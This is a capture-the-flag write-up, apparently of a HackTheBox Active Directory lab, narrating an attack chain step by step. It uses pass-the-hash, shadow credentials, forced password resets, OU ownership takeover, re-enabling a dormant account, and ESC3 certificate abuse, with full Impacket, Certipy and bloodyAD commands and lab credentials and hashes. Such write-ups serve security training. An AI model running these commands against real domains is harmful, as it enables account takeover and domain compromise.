Requesting a Kerberos TGT (Validating Domain Access)

With valid credentials for natalie.a now confirmed, the next step was to verify whether these credentials were usable for Kerberos-based authentication within the domain. To do this, I requested a Ticket Granting Ticket (TGT) directly from the Domain Controller using Impacket:

impacket-getTGT -dc-ip 10.129.242.196 hercules.htb/natalie.a:Prettyprincess123!

The request was sent to the DC at 10.129.242.196, authenticating as hercules.htb\natalie.a with the recovered password. The successful response indicated that the credentials were fully valid and accepted by Kerberos.

Impacket automatically saved the issued TGT to a local credential cache file (natalie.a.ccache). This cache can be reused for Kerberos-aware tools without needing to supply the plaintext password again, enabling pass-the-ticket style attacks and Kerberos-authenticated enumeration or exploitation.

Abusing Shadow Credentials to Impersonate bob.w

After confirming that I had a valid Kerberos ticket for natalie.a, I moved on to abusing Shadow Credentials to impersonate another user. From the earlier BloodHound analysis, I identified that Natalie had sufficient permissions over the bob.w account, making it a viable target for this attack.

To perform the abuse, I reused Natalie’s Kerberos ticket by exporting the credential cache and executed Certipy’s shadow module to automatically inject a malicious Key Credential into Bob’s account:

KRB5CCNAME=natalie.a.ccache certipy-ad shadow auto -u natalie.a@hercules.htb -k -dc-host DC.hercules.htb -account bob.w

Certipy generated a certificate and temporarily added a Key Credential to Bob’s msDS-KeyCredentialLink attribute. This allowed me to authenticate as bob.w using certificate-based authentication without knowing his password. I successfully requested a Kerberos Ticket Granting Ticket (TGT) for Bob, which was saved locally as bob.w.ccache.

After authenticating as Bob, I retrieved his NTLM hash and allowed Certipy to restore the original Key Credentials, cleaning up the modification. At this stage, I had fully compromised the bob.w account and obtained reusable credentials for further lateral movement or privilege escalation.

Requesting a Kerberos TGT Using Pass-the-Hash for bob.w

After successfully extracting the NTLM hash for bob.w, I proceeded to verify that the hash was usable for Kerberos authentication. Instead of relying on plaintext credentials, I attempted a pass-the-hash attack to request a Ticket Granting Ticket (TGT) directly from the Domain Controller.

To do this, I used Impacket’s getTGT module and supplied Bob’s NTLM hash while targeting the Domain Controller at 10.129.242.196:

impacket-getTGT -dc-ip 10.129.242.196 -hashes :8a65c74e8f0073babbfac6725c66cc3f hercules.htb/bob.w

The Domain Controller accepted the NTLM hash and issued a Kerberos TGT for bob.w, which Impacket saved locally as bob.w.ccache. This confirmed that the hash was valid and could be used for Kerberos-based authentication.

At this point, I had a reusable Kerberos ticket for Bob’s account, enabling pass-the-ticket attacks and further Active Directory enumeration or privilege escalation without needing the user’s plaintext password.

Enumerating Writable Active Directory Objects as bob.w

After successfully obtaining a Kerberos ticket for bob.w, I wanted to understand exactly what level of access this account had within the Active Directory environment. Rather than guessing the next escalation path, I decided to enumerate all directory objects where Bob had write or create permissions, as these often lead directly to privilege escalation opportunities.

Using Bob’s Kerberos ticket cache, I queried Active Directory with bloodyAD to list all writable objects in detail. I ran the following command while explicitly reusing the Kerberos ticket:

KRB5CCNAME=bob.w.ccache bloodyAD -u 'bob.w' -p '' -k -d 'hercules.htb' --host DC.hercules.htb get writable --detail

The output revealed that bob.w had extensive write permissions across multiple Organizational Units (OUs), groups, and user objects. Most notably, Bob had CREATE_CHILD permissions on several high-value OUs, including the Engineering Department, Security Department, and Web Department. This meant I could create new users, groups, or computers inside these OUs - a powerful primitive for Active Directory abuse.

Beyond OU-level control, I also identified direct WRITE permissions over several user and group objects. This included the ability to modify attributes such as name and cn on multiple users, and more critically, deep write access to the Bob Wood user object itself, including sensitive attributes like msDS-AllowedToActOnBehalfOfOtherIdentity, certificate-related attributes, and login metadata.

The presence of write access over security-sensitive attributes strongly indicated multiple viable escalation paths, including delegation abuse, certificate-based attacks, or account manipulation. At this stage, I had confirmed that compromising bob.w was not a dead end - it provided broad control over key directory objects and opened the door to domain-level privilege escalation.

Installing PowerView.py for Further AD Enumeration

After confirming that I had meaningful write access in Active Directory as bob.w, I wanted a flexible way to perform deeper LDAP-based enumeration and quickly query ACLs, groups, and object attributes from the command line. For that, I decided to install PowerView.py, a Python reimplementation of PowerView-style AD recon.

To keep my system clean and avoid dependency conflicts, I first created and activated a dedicated virtual environment:

python3 -m venv ~/powerview-venv source ~/powerview-venv/bin/activate

With the environment active, I installed PowerView.py directly from its GitHub repository so I could use the latest version and its bundled AD tooling:

pip install "git+https://github.com/aniqfakhrul/powerview.py"

The output shows pip cloning the repository, resolving it to a specific commit, and pulling in the dependencies required for Active Directory interaction. This includes libraries such as ldap3 and impacket for LDAP/Kerberos/SMB support, plus additional packages used for parsing, formatting, and authentication workflows.

Once installation completed successfully, my PowerView environment was ready. At this stage, I had a reliable toolkit to enumerate AD objects and permissions interactively, which I could use to validate BloodHound findings and identify the cleanest escalation path based on ACL abuse.

Authenticating to LDAPS with PowerView.py as bob.w

After installing PowerView.py, I wanted an interactive way to query LDAP and validate permissions directly from the domain. Since I already had a Kerberos ticket for bob.w, I reused it to authenticate without providing a password.

I launched PowerView.py using Bob’s credential cache and forced it to use LDAPS for encrypted LDAP queries:

KRB5CCNAME=bob.w.ccache powerview hercules.htb/bob.w@dc.hercules.htb -k --use-ldaps -d --no-pass

PowerView.py created a local logging directory and initialized its LDAP connection pool. The output confirmed that the domain supports modern protections such as LDAP signing and sealing and TLS channel binding, which is expected in a hardened Active Directory environment.

Because I was authenticating with Kerberos, PowerView first looked for the correct LDAP service ticket (SPN) and then reused the TGT stored in KRB5CCNAME to obtain the necessary Kerberos credentials. It attempted to bind to ldaps://dc.hercules.htb:636 using SASL/GSSAPI.

The server returned LDAPAuthMethodNotSupportedResult, which meant the DC did not accept that specific SASL bind method in the way the tool initially tried. PowerView then automatically fell back to an Impacket-style Kerberos login flow, retried the authentication, and successfully established an authenticated LDAPS session.

The final prompt confirmed I was connected to the Domain Controller over LDAPS as HERCULES\bob.w:

LDAPS─[dc.hercules.htb]─[HERCULES\bob.w]

At this point, I had an authenticated LDAP shell as Bob and could begin enumerating objects, ACLs, group memberships, and misconfigurations directly from the directory.

Abusing Write Permissions to Move stephen.m into the Web Department OU

With an authenticated LDAPS session as bob.w, I wanted to test whether the write permissions I identified earlier could be abused for Active Directory object manipulation. From the ACL enumeration, I knew Bob had sufficient rights to modify certain user objects, so I attempted to move another user into a different Organizational Unit (OU) that I controlled.

To do this, I used PowerView’s Set-DomainObjectDN function to change the distinguished name of stephen.m, effectively relocating his account from the Security Department OU into the Web Department OU:

Set-DomainObjectDN -Identity stephen.m -DestinationDN 'OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'

PowerView first searched Active Directory to resolve the identity stephen.m, confirming the current distinguished name of the account. It then verified that the destination OU existed before performing the modification. The output shows that the object CN=Stephen Miller,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb was successfully modified and moved into the Web Department OU.

This confirmed that I had write permissions over user objects and could freely move accounts between OUs. In an Active Directory environment, this is a powerful primitive: moving a user into an OU with weaker ACLs or delegated rights can immediately expose them to further abuse, such as password resets, group modifications, or delegated privilege escalation.

Requesting a Fresh Kerberos TGT for natalie.a

After completing several Active Directory modifications and privilege-abuse steps, I wanted to ensure I had a fresh and valid Kerberos ticket for natalie.a before continuing. Rather than reusing an older cache, I explicitly requested a new Ticket Granting Ticket (TGT) using Impacket.

I did this by authenticating directly with Natalie’s plaintext credentials:

impacket-getTGT 'HERCULES.HTB/natalie.a:Prettyprincess123!'

The Domain Controller accepted the credentials and issued a Kerberos TGT, which Impacket saved locally as natalie.a.ccache. This confirmed that the credentials were still valid and gave me a clean Kerberos cache that I could reuse for subsequent Kerberos-based attacks, such as LDAP operations, certificate abuse, or pass-the-ticket authentication.

At this stage, I had a refreshed Kerberos session for natalie.a, ensuring reliable authentication for the next phase of escalation.

Abusing Shadow Credentials to Impersonate stephen.m

After moving stephen.m into the Web Department OU, I wanted to test whether this change exposed his account to further abuse. Since I already had a valid Kerberos ticket for natalie.a and knew she had sufficient permissions, I attempted to abuse Shadow Credentials to impersonate Stephen without knowing his password.

Reusing Natalie’s Kerberos ticket, I executed Certipy’s automated shadow credentials attack against Stephen’s account:

KRB5CCNAME=natalie.a.ccache certipy-ad shadow auto -u natalie.a@hercules.htb -k -dc-host DC.hercules.htb -account 'stephen.m'

Certipy first generated a certificate and a corresponding Key Credential, then temporarily added this credential to Stephen’s msDS-KeyCredentialLink attribute. With the malicious Key Credential in place, I authenticated as stephen.m using certificate-based authentication and successfully requested a Kerberos Ticket Granting Ticket (TGT).

The TGT was saved locally as stephen.m.ccache, confirming that I had fully impersonated Stephen’s account. Certipy then restored the original Key Credentials to avoid leaving obvious artifacts behind and proceeded to retrieve Stephen’s NTLM hash.

At the end of the process, I had both a valid Kerberos ticket and the NTLM hash for stephen.m, demonstrating that I could completely compromise his account without ever interacting with his original credentials. This confirmed another clean privilege escalation step through ACL abuse and Shadow Credentials.

Requesting a Kerberos TGT for stephen.m via Pass-the-Hash

After successfully extracting the NTLM hash for stephen.m through the Shadow Credentials abuse, I wanted to verify that the hash could be used directly for Kerberos authentication. Instead of relying on the previously generated certificate-based ticket, I tested a pass-the-hash scenario to confirm full credential compromise.

Using Impacket, I requested a Ticket Granting Ticket (TGT) for Stephen’s account by supplying only his NTLM hash:

impacket-getTGT HERCULES.HTB/stephen.m -hashes :9aaaedcb19e612216a2dac9badb3c210

The Domain Controller accepted the NTLM hash and issued a Kerberos TGT, which Impacket saved locally as stephen.m.ccache. This confirmed that the recovered hash was valid and usable for Kerberos authentication.

At this point, I had multiple ways to authenticate as stephen.m - either via certificate-based authentication or pass-the-hash - giving me flexible access for further LDAP queries, lateral movement, or privilege escalation within the domain.

Abusing ForceChangePassword Rights to Reset the Auditor Account Password

After obtaining a valid Kerberos ticket for stephen.m, I wanted to check whether this account could be leveraged for direct privilege escalation. From earlier BloodHound and ACL analysis, I knew that Stephen was a member of the Security Helpdesk group, which had ForceChangePassword rights over several user accounts - including Auditor.

Using Stephen’s Kerberos ticket cache, I attempted to reset the password of the Auditor account without knowing its current password. I performed this action with bloodyAD, authenticating purely via Kerberos:

KRB5CCNAME=stephen.m.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u 'stephen.m' -k set password Auditor 'Prettyprincess123!'

The command completed successfully, confirming that Stephen’s account had sufficient privileges to forcibly reset the Auditor account’s password. This immediately granted me full control over Auditor, bypassing any need for password cracking or user interaction.

At this stage, I had escalated privileges by abusing delegated password-reset rights, converting control of stephen.m into direct access to another high-value account. This marked a clean and reliable privilege escalation step within the domain.

Requesting a Kerberos TGT for the Auditor Account

After successfully resetting the password for the Auditor account, I needed to confirm that the new credentials were valid and usable for Kerberos authentication. To do this, I explicitly requested a Ticket Granting Ticket (TGT) from the Domain Controller using Impacket.

I authenticated as Auditor with the newly set password and targeted the Domain Controller at 10.129.242.196:

impacket-getTGT -dc-ip 10.129.242.196 hercules.htb/Auditor:Prettyprincess123!

The Domain Controller accepted the credentials and issued a Kerberos TGT, which Impacket saved locally as Auditor.ccache. This confirmed that the password reset had taken effect and that I now had valid Kerberos authentication as the Auditor user.

At this point, I had a reusable Kerberos ticket for the Auditor account, enabling me to continue enumeration, lateral movement, or privilege escalation using pass-the-ticket techniques without needing to re-enter credentials.

Preparing WinRM Execution for Lateral Movement

At this stage, I needed a reliable way to interact with the target over WinRM, which is commonly enabled on Windows domain environments and often exposed to authenticated users. To do that, I headed over to the winrmexec repository on GitHub and pulled a local copy of the tool so I could use it directly in my attack chain.

I cloned the repository straight into my working directory:

git clone https://github.com/ozelis/winrmexec.git

The clone completed successfully, confirming that the tool was now available locally. I then listed the contents of my project directory to verify everything was in place:

ls

From the output, I could see the newly created winrmexec directory alongside my existing artifacts: Kerberos ticket caches for compromised users (Auditor.ccache, bob.w.ccache, natalie.a.ccache, stephen.m.ccache), BloodHound data, wordlists, and exploitation scripts.

With winrmexec ready and valid Kerberos tickets already obtained, I was now set up to authenticate to the target over WinRM using pass-the-ticket techniques, paving the way for command execution and potential shell access on the host.

Gaining an Initial Foothold via WinRM as Auditor

With valid credentials in hand, the next step was to convert access into an interactive foothold on the target system. Since WinRM is commonly enabled on domain controllers and administrative hosts, I opted to authenticate over WinRM using Kerberos pass-the-ticket instead of a password.

To do this, I exported the previously obtained Kerberos ticket for the Auditor account and launched evil_winrmexec against the domain controller:

KRB5CCNAME=Auditor.ccache python3 winrmexec/evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb

The tool automatically detected the domain and username from the Kerberos cache (HERCULES.HTB\Auditor) and requested a service ticket for the HTTP/dc.hercules.htb SPN. Since WinRM over HTTPS runs on port 5986, the connection was established securely without ever supplying a plaintext password.

Once authentication succeeded, I was dropped into a PowerShell session running in the context of the Auditor user. While this is not a fully interactive shell, it is more than sufficient for enumeration and command execution.

To confirm my access and understand my current context, I navigated the filesystem:

cd .. ls

This showed I was operating inside C:\Users\auditor, confirming successful login as the Auditor user. From there, I moved into the Desktop directory:

cd Desktop ls

A file named user.txt immediately stood out. Displaying its contents revealed the first flag:

cat user.txt ********************************

At this point, user-level access to the system was fully established, and the user flag was successfully captured. With WinRM access confirmed and Kerberos authentication working reliably, the stage was now set for privilege escalation toward full domain compromise.

Enumerating Group Memberships for the Auditor User

After landing a WinRM session as Auditor, my next move was to understand exactly what level of access this account had on the system and within the domain. A quick way to do this is by enumerating the security groups associated with the current user. From the Auditor desktop, I ran:

whoami /groups

This command returned a detailed list of all local and domain groups the Auditor account is a member of, along with their security identifiers (SIDs) and attributes.

From the output, I confirmed that I was operating as a standard authenticated domain user. The presence of groups like Everyone, Authenticated Users, and BUILTIN\Users was expected and simply reflects baseline access granted to all logged-in users.

More importantly, the account is a member of BUILTIN\Remote Management Users, which explains why WinRM access was possible in the first place. This group explicitly allows remote PowerShell and WinRM connections, validating that my foothold was legitimate and stable.

I also noted membership in HERCULES\Domain Employees, indicating this is a normal corporate domain account rather than a privileged administrative user. Interestingly, the account is additionally part of HERCULES\Forest Management, which immediately stood out. While this group does not automatically grant local administrator rights, it often implies elevated trust or delegated permissions within Active Directory - something worth revisiting later during privilege escalation.

Finally, the Mandatory Label\Medium Mandatory Level confirms that the session is running with standard user integrity, not elevated. In other words, I do not yet have administrative privileges on the host.

At this stage, the enumeration confirmed that Auditor has enough permissions for remote access and domain interaction but not full control. This information helped shape the next phase of the attack: identifying misconfigurations or delegated privileges that could be abused to escalate further within the domain.

Inspecting Delegated Permissions on the Forest Migration OU

Since the Auditor account is a member of the Forest Management group, I wanted to verify whether this group had any interesting delegated permissions inside Active Directory that could be abused for privilege escalation. To do this, I first loaded the Active Directory PowerShell module and then inspected the access control list (ACL) of a specific organizational unit:

Import-Module ActiveDirectory

(Get-ACL "AD:OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb").Access | Where-Object {$_.IdentityReference -like "*Forest Management*"} | Format-List *

Here, I explicitly queried the ACL of the Forest Migration OU and filtered the results to only show entries related to the Forest Management group. This allowed me to focus solely on permissions that my current group membership might grant.

The output immediately revealed something significant. The Forest Management group has GenericRead rights on the OU, meaning members can read all properties and objects within it. More importantly, the group is also granted GenericAll permissions on the same OU.

Having GenericAll over an OU is extremely powerful - it effectively grants full control. This includes the ability to create, delete, and modify objects under the Forest Migration container, as well as change permissions on those objects. Since these permissions are not inherited and explicitly applied, this is a clear case of over-delegation.

At this point in the attack chain, this finding was a major turning point. As a member of Forest Management, I effectively have full administrative control over anything inside the Forest Migration OU. This opens multiple attack paths, such as creating or modifying user accounts, abusing delegation, or manipulating objects in a way that leads to higher privileges elsewhere in the domain.

In short, this ACL misconfiguration explains why the Forest Management group is dangerous and it provides a clear path forward for escalating privileges from the Auditor context.

Taking Ownership of the Forest Migration OU

After confirming that my current access level allowed me to fully control objects within the Forest Migration organizational unit, I decided to take the next logical step and formally take ownership of that OU. Object ownership in Active Directory is critical because the owner can always modify the object’s permissions, even if explicit ACLs later change.

To do this, I used bloodyAD while authenticating as the Auditor account and explicitly set the owner of the target OU to myself:

KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u Auditor -p 'Prettyprincess123!' -k set owner 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor

Here, I instructed bloodyAD to connect to the domain controller and change the ownership of the Forest Migration OU. Even though I already had powerful delegated rights through group membership, setting myself as the owner ensures persistent and unconditional control over this container.

The output confirms that the operation was successful. The previous owner of the OU was S-1-5-21-1889966460-2597381952-958560702-512, which corresponds to the Domain Admins group. That ownership has now been replaced with Auditor.

This is a crucial escalation milestone. By owning the Forest Migration OU, I can freely modify its access control lists, delegate additional privileges, or create and manipulate objects inside it without restriction. At this stage, Active Directory is effectively bending in my favor, and this OU becomes a reliable pivot point for achieving full domain compromise.

Granting Full Control Over the Forest Migration OU

After successfully taking ownership of the Forest Migration organizational unit, I moved on to solidifying my control by explicitly granting myself full permissions over the object. While ownership alone already gives significant power, assigning GenericAll removes any ambiguity and ensures unrestricted access going forward.

Using bloodyAD, I granted the Auditor account full control over the OU by running the following command with my existing Kerberos ticket:

KRB5CCNAME=Auditor.ccache bloodyAD --host dc.hercules.htb -d hercules.htb -u Auditor -k add genericAll 'OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB' Auditor

With this command, I modified the access control list of the Forest Migration OU to explicitly include GenericAll permissions for my user. This means I can now read, write, modify permissions, create or delete child objects, and fully manage anything within this container.

The output confirms that the change was applied successfully: Auditor now has GenericAll on the target OU.

At this point, the Forest Migration OU is completely under my control. This effectively gives me a safe staging area inside Active Directory where I can create users, groups, or service accounts, delegate privileges, and chain further attacks.

Enumerating a Dormant Account in the Forest Migration OU

With full control over the Forest Migration OU, I began enumerating the user objects inside it to see if any accounts stood out as potential escalation targets. One user that immediately caught my attention was Fernando.R, so I queried his account details directly from Active Directory by running:

Get-ADUser -Identity "Fernando.R"

The output confirms that Fernando Rodriguez is a valid domain user located inside the Forest Migration OU. However, the most important detail here is that the account is currently disabled. This explains why it has not been involved in any authentication activity so far, but it also makes the account interesting from an attack perspective.

Since this user resides in an OU I fully control, I can potentially re-enable the account, reset its password, or modify its attributes without restriction. Disabled accounts like this are common in enterprise environments often left behind after migrations or role changes and they frequently represent low-noise escalation opportunities in Active Directory CTFs.

At this stage, identifying fernando.r gives me a clear next step: leverage my GenericAll permissions over the OU to bring this account back to life and pivot further within the domain.

Group Membership Analysis - Fernando.R

After identifying Fernando.R as a disabled user account inside the Forest Migration OU, I pivoted back to BloodHound to understand what privileges the account would inherit once re-enabled. Visualizing Fernando’s group memberships revealed something far more interesting than a standard dormant user.

From the graph, Fernando.R is not only a member of Domain Users and Domain Employees, but is also part of the Smartcard Operators group. This immediately stands out, as Smartcard Operators is a privileged group tied to smartcard-based authentication and certificate-related operations within Active Directory.

Membership in Smartcard Operators typically allows users to manage or interact with smartcard logon mechanisms, which often overlaps with certificate services and PKI-related workflows. In real-world environments, this group can be leveraged to abuse certificate-based authentication paths, especially when combined with misconfigurations in Active Directory Certificate Services (AD CS).

Enumerating User Accounts in the Forest Migration OU

After finding that Fernando.R was located inside the Forest Migration OU, I wanted to see what other accounts existed in the same container and whether any of them were likely to be privileged. A quick way to sanity-check this is by inspecting the adminCount attribute, which is commonly set to 1 for protected accounts (e.g., Domain Admins or accounts affected by AdminSDHolder). I also pulled UserAccountControl to understand whether accounts were enabled/disabled and what flags were applied.

To enumerate all users under the Forest Migration OU while collecting those attributes, I ran:

Get-ADUser -SearchBase "OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb" -Filter * ` -Properties adminCount,UserAccountControl | Where-Object { ($_.adminCount -ne 1) -or ($_.adminCount -eq $null) } | Select-Object SamAccountName,DistinguishedName,adminCount,UserAccountControl

This returned four user objects under the OU:

1. james.s
2. anthony.r
3. taylor.m
4. fernando.r

None of the listed accounts had adminCount=1, which suggests they are not protected administrative principals. That doesn’t mean they’re useless just that they’re probably not direct Domain Admin-level users.

The UserAccountControl value for all four accounts was 66050, which indicates a consistent set of account flags across these migrated users (typically seen with disabled or constrained accounts in a migration OU). Seeing the same flag pattern across multiple accounts strongly reinforces the idea that this OU is a staging area for migrated or legacy users.

Re-Enabling the fernando.r Account

From the earlier enumeration, I already knew that fernando.r existed in the Forest Migration OU but was disabled. Since I had gained sufficient control over this OU, the next logical step was to bring that account back to life so it could be abused further.

To do this, I used bloodyAD with my existing Kerberos session as Auditor and explicitly removed the ACCOUNTDISABLE flag from Fernando’s userAccountControl attribute. I ran the following command:

KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d 'hercules.htb' -u 'auditor' -k remove uac 'fernando.r' -f ACCOUNTDISABLE

This command tells bloodyAD to authenticate using Kerberos (-k) with the cached Auditor ticket and directly modify Fernando’s account by stripping the ACCOUNTDISABLE flag.

The output confirms that the operation succeeded:

['ACCOUNTDISABLE'] property flags removed from fernando.r's userAccountControl

In practical terms, this means fernando.r is now enabled and can authenticate to the domain. Given that Fernando is a member of the Smartcard Operators group, re-enabling this account opens up a much more interesting attack surface particularly around certificate-based authentication and smartcard-related privilege abuse.

At this point, Fernando transitions from a dormant object in Active Directory into a fully usable foothold for the next stage of privilege escalation.

Verifying the fernando.r Account Status

After removing the ACCOUNTDISABLE flag from fernando.r, I wanted to confirm that the change had taken effect and that the account was now usable. To do this, I queried Active Directory directly for Fernando’s user object.

I ran the following command from my PowerShell session:

Get-ADUser -Identity "Fernando.R"

The output shows Fernando’s distinguished name under the Forest Migration OU and, most importantly, confirms that the account is now enabled:

Enabled : True

This validates that the earlier modification to the userAccountControl attribute was successful. At this point, fernando.r is an active domain account with a valid UPN (fernando.r@hercules.htb) and can authenticate like any other user.

Resetting the Password for fernando.r

Since I already had sufficient privileges as Auditor, the next step was to take full control of the fernando.r account by resetting its password. This would allow me to authenticate directly as Fernando and leverage his group memberships and delegated rights for further escalation.

Using my existing Kerberos ticket stored in Auditor.ccache, I ran the following command:

KRB5CCNAME=Auditor.ccache bloodyAD --host DC.hercules.htb -d hercules.htb -u Auditor -k set password 'fernando.r' 'NewPassword123!'

Here, I explicitly instructed bloodyAD to change the password of the fernando.r account to a known value. Because this action was performed over Kerberos (-k) and my current user already had the necessary permissions, no additional authentication prompts were required.

The response confirms the action was successful:

[+] Password changed successfully!

At this point, fernando.r is not only enabled but fully compromised. I now control the account credentials and can authenticate as Fernando directly, setting the stage for abusing his Smartcard Operators membership and continuing the privilege escalation chain toward higher-value targets.

Authenticating as fernando.r and Requesting a Kerberos Ticket

With the password for fernando.r now under my control, the next step was to authenticate as this user within the domain and obtain a valid Kerberos ticket. Rather than logging in interactively, I directly requested a Ticket Granting Ticket (TGT) using Impacket.

I did this by running:

impacket-getTGT 'HERCULES.HTB/fernando.r:NewPassword123!'

Here, I authenticated to the HERCULES.HTB domain using Fernando’s newly set password. The purpose of this step was to generate a Kerberos TGT that I could later reuse for Kerberos-based attacks and tooling without repeatedly supplying credentials.

The output confirms that authentication was successful:

[*] Saving ticket in fernando.r.ccache

This means a valid Kerberos ticket was issued and stored locally in fernando.r.ccache. At this point, I am fully authenticated as fernando.r at the Kerberos level, allowing me to seamlessly interact with Active Directory services and abuse his group memberships and delegated privileges in subsequent steps.

Enumerating Active Directory Certificate Services (AD CS)

After authenticating as fernando.r and exporting his Kerberos ticket, I moved on to enumerating Active Directory Certificate Services to check whether his privileges could be abused for certificate-based escalation. Since Fernando is a member of the Smartcard Operators group, AD CS immediately became an interesting attack surface.

Using Fernando’s Kerberos ticket from the cache, I ran the following command to enumerate certificate authorities and templates while explicitly filtering for vulnerable configurations:

KRB5CCNAME=fernando.r.ccache certipy-ad find -k -dc-ip 10.129.242.196 -target DC.hercules.htb -vulnerable -stdout

Here, I instructed Certipy to authenticate via Kerberos (-k), target the domain controller directly, and only highlight templates that expose known AD CS misconfigurations.

The output confirmed that the domain has a single Enterprise CA, CA-HERCULES, hosted on dc.hercules.htb. Web enrollment over HTTP/HTTPS was disabled, but this was not a blocker since enrollment can still occur via RPC. Importantly, the CA allows Authenticated Users to enroll certificates, which already broadens the attack surface.

Certipy then enumerated 18 enabled certificate templates and flagged several as vulnerable. Three templates immediately stood out:

• MachineEnrollmentAgent
• EnrollmentAgentOffline
• EnrollmentAgent

All three templates are configured with the Certificate Request Agent extended key usage. This is a classic ESC3 misconfiguration, meaning that any principal allowed to enroll in these templates can request certificates on behalf of other users. Even more importantly, the output showed that HERCULES.HTB\Smartcard Operators have enrollment rights on these templates.

Since Fernando is a member of Smartcard Operators, this effectively allows me to request enrollment agent certificates and impersonate other domain users by requesting certificates in their name.

One of the templates (EnrollmentAgentOffline) also triggered an ESC15 warning. This indicates that the enrollee supplies the subject and the template is schema version 1, which can be abused in unpatched environments (CVE-2024-49019). While this depends on patch level, it further confirms that AD CS is badly misconfigured.

At this point, the takeaway was clear:
Fernando’s group membership grants him access to vulnerable enrollment agent templates, providing a clean and reliable path to impersonate higher-privileged users through certificate abuse. This makes AD CS the most promising escalation vector moving forward.

Enumerating Active Directory Certificate Services with Certipy

With valid Kerberos authentication as fernando.r, I proceeded to perform a full enumeration of Active Directory Certificate Services to better understand the certificate landscape in the domain and identify any additional attack paths that might not be immediately obvious from a vulnerability-only scan.

Using Fernando’s Kerberos ticket from the cache, I ran Certipy without restricting the output to vulnerable templates so I could capture a complete picture of the CA configuration:

KRB5CCNAME=fernando.r.ccache certipy-ad find \ -k -no-pass \ -dc-ip 10.129.242.196 \ -target dc.hercules.htb

In this step, I authenticated purely via Kerberos (-k -no-pass) and queried the domain controller directly. Certipy began by enumerating all certificate-related objects in the environment.

The output confirmed that the HERCULES domain is backed by a single enterprise certificate authority, CA-HERCULES, hosted on dc.hercules.htb. Certipy identified 34 certificate templates in total, with 18 of them currently enabled and available for enrollment. It also discovered 14 issuance policies, indicating a fairly complex certificate infrastructure rather than a minimal default setup.

Certipy successfully retrieved the CA configuration via the remote registry protocol and verified the status of web enrollment, which, while checked, was not required for my attack path. To make the results reusable for offline analysis and cross-referencing, Certipy automatically saved both a text report and a JSON report to disk.

At this stage, the goal was reconnaissance rather than exploitation. This enumeration gave me a reliable inventory of the certificate environment and ensured I wasn’t missing any alternative templates, policies, or CA-level settings that could later enable privilege escalation. With these results saved, I could now pivot back to the previously identified vulnerable templates and confidently plan the next certificate abuse step knowing the full AD CS context.

Requesting an Enrollment Agent Certificate as fernando.r

With fernando.r fully authenticated and already identified as a member of the Smartcard Operators group, I moved on to actively abusing the vulnerable certificate templates I had enumerated earlier. Since the EnrollmentAgent template was enabled and allowed Smartcard Operators to enroll, this provided a clean path to request a powerful certificate directly from the CA.

Using the Kerberos ticket stored in my cache, I requested a certificate from CA-HERCULES while explicitly targeting the EnrollmentAgent template and setting the appropriate application policy:

KRB5CCNAME=fernando.r.ccache certipy-ad req \ -u fernando.r@hercules.htb \ -k -no-pass \ -dc-host dc.hercules.htb \ -dc-ip 10.129.242.196 \ -target dc.hercules.htb \ -target-ip 10.129.242.196 \ -ca "CA-HERCULES" \ -template "EnrollmentAgent" \ -application-policies "Certificate Request Agent"

In this step, I authenticated purely via Kerberos and submitted the certificate request over RPC directly to the domain controller hosting the certificate authority. The request was accepted immediately, and the CA issued a certificate with Request ID 7, confirming that no manager approval or additional restrictions were in place.

Certipy returned a valid certificate bound to the UPN fernando.r@hercules.htb, with the correct object SID matching Fernando’s account. Both the issued certificate and its private key were then saved locally as a .pfx file.

This was a critical milestone in the attack chain. By successfully obtaining an Enrollment Agent certificate, I now had the ability to request certificates on behalf of other users in the domain. From here, this certificate could be leveraged to impersonate higher-privileged accounts and pivot toward full domain compromise using Active Directory Certificate Services abuse.

Abusing Enrollment Agent Rights to Impersonate ashley.b

After successfully obtaining an Enrollment Agent certificate as fernando.r, I moved on to the next phase: requesting a certificate on behalf of another domain user. This is where the real impact of the misconfigured AD CS templates becomes clear.

Using the previously issued Enrollment Agent certificate (fernando.r.pfx) and my existing Kerberos session, I requested a User certificate while specifying ashley.b as the target identity. I explicitly told Certipy to perform the request on behalf of Ashley and to submit it over DCOM:

KRB5CCNAME=fernando.r.ccache certipy-ad req -u "fernando.r@hercules.htb" -k -no-pass \ -dc-ip 10.129.242.196 -dc-host dc.hercules.htb -target "dc.hercules.htb" \ -ca "CA-HERCULES" -template "User" -pfx fernando.r.pfx \ -on-behalf-of "HERCULES\\ashley.b" -dcom

In this request, I authenticated as fernando.r using Kerberos, but instead of requesting a certificate for myself, I leveraged my Enrollment Agent privileges to request a certificate impersonating ashley.b. Because the User template was enabled and the CA trusted Enrollment Agents, the certificate authority accepted the request without additional validation.

The CA issued the certificate with Request ID 8, and Certipy confirmed that the resulting certificate was bound to the UPN ashley.b@hercules.htb, along with Ashley’s correct object SID. Both the certificate and its private key were saved locally as ashley.b.pfx.

At this point, I effectively gained cryptographic proof-of-identity for ashley.b. With this certificate, I could now authenticate as Ashley using certificate-based authentication, completely bypassing the need for her password. This marked a decisive privilege escalation step and set the stage for further lateral movement and escalation within the domain.

Authenticating as ashley.b via Certificate-Based Authentication

With the impersonation certificate for ashley.b in hand, the next step was to actually use it to authenticate to the domain. Instead of relying on a password, I leveraged the issued PFX file to perform certificate-based authentication against the domain controller.

I did this by running the following command, pointing Certipy at the DC and supplying the ashley.b.pfx file I had just generated:

certipy-ad auth -pfx ashley.b.pfx -dc-ip 10.129.242.196

Certipy first validated the certificate contents and confirmed that it was correctly mapped to ashley.b@hercules.htb, both via the SAN UPN and the embedded security extension SID. This confirmed that the certificate was suitable for authentication as Ashley.

Using the certificate, I then requested a Kerberos TGT. The request succeeded, meaning I was now fully authenticated as ashley.b without ever knowing her plaintext password. Certipy saved the resulting Kerberos ticket to ashley.b.ccache, which I could reuse for further Kerberos-authenticated attacks and tooling.

As an added bonus, Certipy was also able to retrieve Ashley’s NTLM hash directly from the domain, further cementing full control over the account. At this stage, I had complete authentication material for ashley.b, marking a successful exploitation of AD CS misconfigurations and a critical escalation point in the domain compromise.

